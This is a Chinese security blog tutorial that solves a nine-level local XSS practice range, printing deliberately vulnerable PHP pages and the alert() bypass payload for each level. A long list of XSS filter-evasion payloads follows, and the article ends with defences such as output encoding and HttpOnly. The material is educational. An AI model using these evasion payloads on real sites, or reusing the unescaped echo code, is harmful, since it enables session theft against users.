文章目录:
首先,看下弹窗机制。
接着用WAMP搭建环境,大家也可以用PHPSTUDY或服务器。
九道题目对应的位置如下,htdocs/xss路径下。
XSS靶场第一关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第一关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第一关</h1><hr>
<h3>提示:以get传递name参数名,如xxs1.php?name=fox<br>
任务要求:绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
header("Content-Type:text/html; charset=utf-8");
if(isset($_GET)&&!empty($_GET)) {
$name = $_GET["name"];
echo $name;
}
?>
</body>
</html>
当我们输入“fox”值弹出对应的结构,如图所示:
分析源码
运行结果如下图所示,直接弹窗,这也是最简单的情况。
XSS靶场第二关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第二关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第二关</h1><hr>
<h3>提示:以get传递name参数名,如xxs2.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
header("Content-Type:text/html; charset=utf-8");
if(isset($_GET)&&!empty($_GET)) {
$name = $_GET["name"];
$name = preg_replace("/<script>/","",$name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
}
?>
</body>
</html>
当我们输入<script>alert('Eastmount') 时,并没有弹出窗体,运行结果如下图所示:
接着我们查看源代码,如下图所示:
分析源码
preg_replace()函数如果检测到< script >和就会把其替换为指定字符(区分大小写)。
运行结果如下图所示,直接弹窗,通过大小写实现绕过。
XSS靶场第三关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第三关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第三关</h1><hr>
<h3>提示:以get传递name参数名,如xxs3.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
header("Content-Type: text/html; charset=utf-8");
if(isset($_GET)&&!empty($_GET)) {
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
}
?>
</body>
</html>
分析源码
运行结果如下图所示,直接弹窗,同时双写嵌套实现绕过。
也可以通过其它方法进行XSS攻击。
name=< img src="http://www.baidu.com/img/logo.gif" onclick=alert('xss')>
XSS靶场第四关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第四关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第四关</h1><hr>
<h3>提示:以get传递name参数名,如xxs4.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
header("Content-Type: text/html; charset=utf-8");
if(isset($_GET)&&!empty($_GET)) {
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
}
?>
Hello
<?php
if(isset($_GET)&&!empty($_GET)) {
echo $_GET["name"];
}
?>
</body>
</html>
分析源码
运行结果如下图所示,直接弹窗,通过插入图片onerror调用alert函数绕过。
XSS靶场第五关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第五关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第五关</h1><hr>
<h3>提示:以get传递name参数名,如xxs5.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
header("Content-type: text/html; charset=utf-8");
if(isset($_GET)&&!empty($_GET)) {
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
}
?>
Hello
<?php
if(isset($_GET)&&!empty($_GET)) {
echo $_GET["name"];
}
?>
</body>
</html>
当我们输入包含alert字样就提示错误,并没有弹出窗体,运行结果如下图所示:
分析源码
fromCharCode()可接受一个指定的Unicode值,然后返回一个字符串。注意,该方法是String的静态方法,字符串的每个字符都由单独的Unicode数字编码指定,使用语法为:
在线转换网站:
接着我们构建alert('Eastmount')的ASC编码,如下图所示:
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,69,97,115,116,109,111,117,110,116,39,41))</script>
运行结果如下图所示,直接弹窗,通过编码方式和fromCharCode组合绕过。
XSS靶场第六关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第六关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第六关</h1><hr>
<h3>提示:以get传递name参数名,如xxs6.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<script>
var $a = "<?php echo $_GET["name"]; ?>";
</script>
</body>
</html>
当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:
源码如下图所示,它有个$a赋值变量。
分析源码
该变量在<script>标签中,只要能够突破这个赋值变量,就可以利用这个<script>标签来弹窗,类似于SQL注入的闭合前面的语句,然后重新赋值。
匹配过程如下,最终实现img弹出alert,下面的匹配过程希望大家好好理解,从上往下实现。
运行结果如下图所示,直接弹窗,通过JS闭合标签实现绕过。
另一种方法如下图所示:
XSS靶场第七关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第七关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第七关</h1><hr>
<h3>提示:以get传递name参数名,如xxs7.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
</body>
</html>
当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:
查看源代码发现字符被转义了。
分析源码
htmlentities()第2个参数取值如下:
绕过代码类似于之前的过狗一句话,将前面的Eastmount赋值给a,然后弹出 a。
注意,PHP中双引号输出和单引号输出有些差别,比如双引号输入具体指“123”,而单引号是$a。
<?php
$a = 123;
echo "$a";
echo '$a';
?>
运行结果如下图所示,直接弹窗,通过单引号和匹配规则绕过函数htmlentities()。
XSS靶场第八关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第八关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第八关</h1><hr>
<h3>提示:以post传递name参数名<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
header("Content-Type: text/html; charset=utf-8");
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
</body>
</html>
当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:
查看源代码如下图所示:
分析源码
/"><script>alert('Eastmount')</script>"< "
/"><img src=1 onerror=alert('Eastmount')><form
闭合前面,然后后面进行重新组合,如下图所示:
组合后的语句如下所示:
http://127.0.0.1/xss/xss8.php/"><script>alert('Eastmount')</script>"< "
http://127.0.0.1/xss/xss8.php/"><img src=1 onerror=alert('Eastmount')><form
运行结果如下图所示,直接弹窗,通过组合规则绕过 $SERVER['PHPSELF'],采用POST提交请求。
XSS靶场第九关源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FOX-XSS闯关-第九关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
color: #F00;
}
</style>
<hr>
<h1>FOX-XSS闯关-第九关</h1><hr>
<h3>任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<script>
document.write(location.hash.substring(1));
</script>
</body>
</html>
当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:
分析源码
运行结果如下图所示,刷新网页后即可弹窗。
http://localhost/xss/xss9.php #<script>alert('Eastmount')</script>
在进行SQL注入中,我们可以设置相应的过滤函数防止,比如防止万能密码('or'='or'或admin),也能调用preg_replace()函数将特色字符过滤。同样,XSS攻击代码也可能会被过滤,如下所示,它将< script>和 < /script>进行了过滤。
如何绕过这个过滤呢?这里可以通过大小写成功绕过 ,如下所示:
为了更好地理解XSS跨站脚本攻击,更好地进行防御,这里我们分享常见的绕过XSS过滤(XSS-Filter)的方法。
1) 利用<>标记注射HTML、JavaScript
通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码
常用案例:
<script>alert(/xss/)</script>
2) 利用HTML标签属性值执行XSS
通过javascript:[code]伪协议形式编写恶意脚本
常用案例:
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');" >
3) 空格回车Tab绕过过滤
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。
<img src="javas cript:alert(/xss/)" width=100>
使用回车分隔:
<img src="javas
cript:
alert(/xss/)" width=100>
4) 对标签属性值进行转码
<img src="javascript:alert('xss');">
替换成:
<img src="javascript:alert('xss');">
其中,t的ASCII码值为116,用”t”表示,:则表示:。
再进一步替换:
<img src="javascript:alert('xss');">
5) 产生事件如click、mouseover、load等
W3C(万维网联盟)将事件分为3种不同的类别:
<input type="button" value="click me" onclick="alert('xss')" />
<img src="#" onerror=alert(/xss/)>
6) 利用CSS跨站过滤
常见示例如下所示:
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert(/xss/)");}
</style>
<div style="width:expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
body {background-image: expression(alert("xss"));}
</style>
<div style="list-style-image:url(javascript:alert('XSS'));">
<div style="background-image:url(javascript:alert('XSS'));">
<img src=" javascript:alert('xss')">
<style>
@import 'javascript:alert(/xss/)';
</style>
7) 扰乱XSS过滤规则
一个正常的XSS输入:
<img src="javascript:alert(0);">
转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">
大小写混淆的XSS:
<iMg sRC="JaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(0);'>
不适用引号的XSS:
<img src=javascript:alert(0);>
不需要空格的XSS:
<img/src="javascript:alert('xss');">
构造不同的全角字符:
<div style="{left:expression(alert('xss'))">
利用注释符
<div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">
\和\0–
<style>
@imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
<style>
@imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>
CSS关键字转码
<div style="xss:\65xpression(alert('XSS'));">
<div style="xss:\065xpression(alert('XSS'));">
<div style="xss:\0065xpression(alert('XSS'));">
<!--<img src="--><img src=x οnerrοr=alert(1)//">
<comment><img src="</comment><img src=x οnerrοr=alert(1)//">
<style><img src=“</style><img src=x onerror=alert(1)//”>
8) 利用字符编码
原始语句:
<img src="javascript:alert('xss');">
十进制编码
<img
src="javascript:a&
#108ert('xss');">
<img
src="javascrip&#
0116;:alert('x&#
0115;s');">
<img
src="javasc
4ipt:ale&
#0000114t('xss�
0039);">
十六进制编码
<img
src="javascript:&#
x61lert('xss');">
9) 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >
PS:由于JavaScript代码必须要写在代码块中才能显示,所以文章包含了很多代码块,望读者理解。
其他恶意攻击包括黑盒攻击测试、源代码审计、Flash XSS等。
1)黑盒攻击测试
Acunetix Web Vulnerability Scanner 是一款商业级的web漏洞扫描程序,它的功能非常强大,可以自动化检查各种web应用漏洞,包括XSS、SQL注入、代码执行、目录遍历、网站源代码暴力等。
黑盒攻击测试手工检测XSS代码常见用法包括:
2) 源码审计
顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。例如,PHP全局变量如下所示:
3) Flash XSS
关于Flash的跨站漏洞其实很早就出现了。Flash的安全漏洞也不仅仅只有XSS,还有CSRF、跨域、代码执行等其他安全问题。Flash中编程使用的是ActionScript脚本,Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。
Flash确实存在很多漏洞,后续读者也想深入研究了解,看看能不能复现几个漏洞代码出来。同时,Flash XSS感兴趣的读者可以阅读安全脉搏大神的这篇文章:
由于XSS通常可以插入在script标签、HTML注释、标签属性名、标签属性值、标签名字、CSS等中,所以接下来我们简单讲讲如何防御XSS攻击。
输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。
输入正确和错误分别提示。
输入验证要根据实际情况设计,下面是一些常见的检测和过滤:
2.输出编码
大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。
有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。不管是采用输入过滤还是输出过滤,都是针对数据信息进行黑/白名单式的过滤。
不同的javascript写法包括:
大小写混淆:
<img src=JaVaScRiPt:alert(‘xss’)>
插入[tab]键;
<img src=”jav ascript:alert(‘xss’);”>
插入回车符:
<img src=”jav
asrci
pt:alert(‘xss’);”>
使用/**/注释符:
<img src=”java/*xxx*/script:alert(‘xss’);”>
重复混淆关键字:
<img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”>
使用&#十六进制编码字符:
<img src=”jav	ascript:alert(‘xss’);”>
使用&#十进制编码字符:
<img src= javascript:alert(‘xss’);”>
使用&#十进制编码字符(加入大量的0000):
<img src=”javascript:alert(‘xss’);”>
在开头插入空格:
<img src=” javascript:alert(‘xss’);”>
黑名单:过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。
白名单:白名单仅允许执行特定格式的语法,仅允许< img scr="http://xxx" > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。
由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。
一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息,这对于用户来说也是非常好的保护。
比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。
写到这里,网络安全系列第六篇文章就介绍完毕,希望您喜欢,如果文章存在错误或不足之处,还请海涵。真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙,开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上不忘初心,继续加油。